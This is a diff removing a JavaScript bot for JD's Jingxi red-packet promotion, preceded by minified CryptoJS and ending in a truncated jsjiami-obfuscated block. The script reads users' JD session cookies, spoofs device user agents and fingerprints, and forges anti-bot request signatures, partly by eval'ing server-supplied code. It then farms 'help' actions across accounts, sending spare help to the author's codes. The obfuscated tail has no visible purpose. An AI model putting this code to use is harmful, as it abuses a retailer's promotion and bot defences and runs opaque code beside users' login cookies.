this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); -const $ = new Env('京喜领88元红包'); -const notify = $.isNode() ? require('./sendNotify') : {}; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : {}; -let cookiesArr = [], cookie = ''; -let UA, UAInfo = {}, codeInfo = {}, token; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -$.packetIdArr = []; -$.activeId = '529439'; -const BASE_URL = 'https://m.jingxi.com/cubeactive/steprewardv3' -$.appId = "e395f" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - let res = await getAuthorShareCode('') - if (!res) { - $.http.get({url: ''}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('') - } - if (res && res.activeId) $.activeId = res.activeId; - $.authorMyShareIds = [...((res && res.codes) || [])]; - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo() - await $.wait(1000) - //开启红包,获取互助码 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true - $.nickName = '' - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - token = await getJxToken() - await main(); - } - //互助 - console.log(`\n自己京东账号助力码:\n${JSON.stringify($.packetIdArr)}\n`); - console.log(`\n开始助力:助力逻辑 先自己京东相互助力,如有剩余助力机会,则助力作者\n`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.canHelp = true; - UA = UAInfo[$.UserName] - token = await getJxToken() - for (let j = 0; j < $.packetIdArr.length && $.canHelp; j++) { - console.log(`【${$.UserName}】去助力【${$.packetIdArr[j].userName}】邀请码:${$.packetIdArr[j].strUserPin}`); - if ($.UserName === $.packetIdArr[j].userName) { - console.log(`助力失败:不能助力自己`) - continue - } - $.max = false; - await enrollFriend($.packetIdArr[j].strUserPin); - await $.wait(5000); - if ($.max) { - $.packetIdArr.splice(j, 1) - j-- - continue - } - } - if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { - console.log(`\n【${$.UserName}】有剩余助力机会,开始助力作者\n`) - for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { - console.log(`【${$.UserName}】去助力作者的邀请码:${$.authorMyShareIds[j]}`); - $.max = false; - await enrollFriend($.authorMyShareIds[j]); - await $.wait(5000); - if ($.max) { - $.authorMyShareIds.splice(j, 1) - j-- - continue - } - } - } - } - //拆红包 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.canOpenGrade = true; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - UA = UAInfo[$.UserName] - token = await getJxToken() - for (let grade of $.grades) { - if (!codeInfo[$.UserName]) continue; - console.log(`\n【${$.UserName}】去拆第${grade}个红包`); - await openRedPack(codeInfo[$.UserName], grade); - if (!$.canOpenGrade) break - await $.wait(15000); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function main() { - await joinActive(); - await $.wait(2000); - await getUserInfo(); -} -//参与活动 -function joinActive() { - return new Promise(resolve => { - $.get(taskurl('JoinActive', `stepreward_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&strPin=`), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`活动开启成功\n`); - } else { - console.log(`活动开启失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -//获取助力码 -function getUserInfo() { - return new Promise(resolve => { - $.get(taskurl('GetUserInfo'), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - $.grades = [] - $.helpNum = '' - let grades = data.Data.gradeConfig - for(let key of Object.keys(grades)){ - let vo = grades[key] - $.grades.push(vo.dwGrade) - $.helpNum = vo.dwHelpTimes - } - if (data.Data.dwHelpedTimes === $.helpNum) { - console.log(`${$.grades[$.grades.length - 1]}个阶梯红包已全部拆完\n`) - } else { - console.log(`获取助力码成功:${data.Data.strUserPin}\n`); - if (data.Data.strUserPin) { - $.packetIdArr.push({ - strUserPin: data.Data.strUserPin, - userName: $.UserName - }) - } - } - if (data.Data.strUserPin) { - codeInfo[$.UserName] = data.Data.strUserPin - } - } else { - console.log(`获取助力码失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//助力好友 -function enrollFriend(strPin) { - return new Promise(resolve => { - $.get(taskurl('EnrollFriend', `stepreward_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&strPin=${strPin}`), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.log(JSON.stringify(err)); - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`助力成功🎉:${data.sErrMsg}\n`); - } else { - if (data.iRet === 2000) $.canHelp = false;//未登录 - if (data.iRet === 2015) $.canHelp = false;//助力已达上限 - if (data.iRet === 2016) { - $.canHelp = false;//助力火爆 - console.log(`温馨提示:如提示助力火爆,可尝试寻找京东客服`); - } - if (data.iRet === 2013 || data.iRet === 2011) $.max = true; - console.log(`助力失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function openRedPack(strPin, grade) { - return new Promise(resolve => { - $.get(taskurl('DoGradeDraw', `grade=${grade}`), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`拆红包成功:${data.sErrMsg}\n`); - } else { - if (data.iRet === 2017) $.canOpenGrade = false; - console.log(`拆红包失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} - -function taskurl(function_path, body = '') { - let url = `${BASE_URL}/${function_path}?activeId=${$.activeId}${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&userDraw=0&publishFlag=1&channel=7&_t=${Date.now()}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - return { - url, - headers: { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://st.jingxi.com/", - "Cookie": cookie - } - } -} -function getStk(url) { - let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) - return encodeURIComponent(arr.filter(x => x).sort().join(',')) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function TotalBean() { - return new Promise(resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "3.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - return new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - // console.log(`获取签名参数成功!`) - // console.log(`fp: ${$.fingerprint}`) - // console.log(`token: ${$.token}`) - // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(Date.now() + 2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var 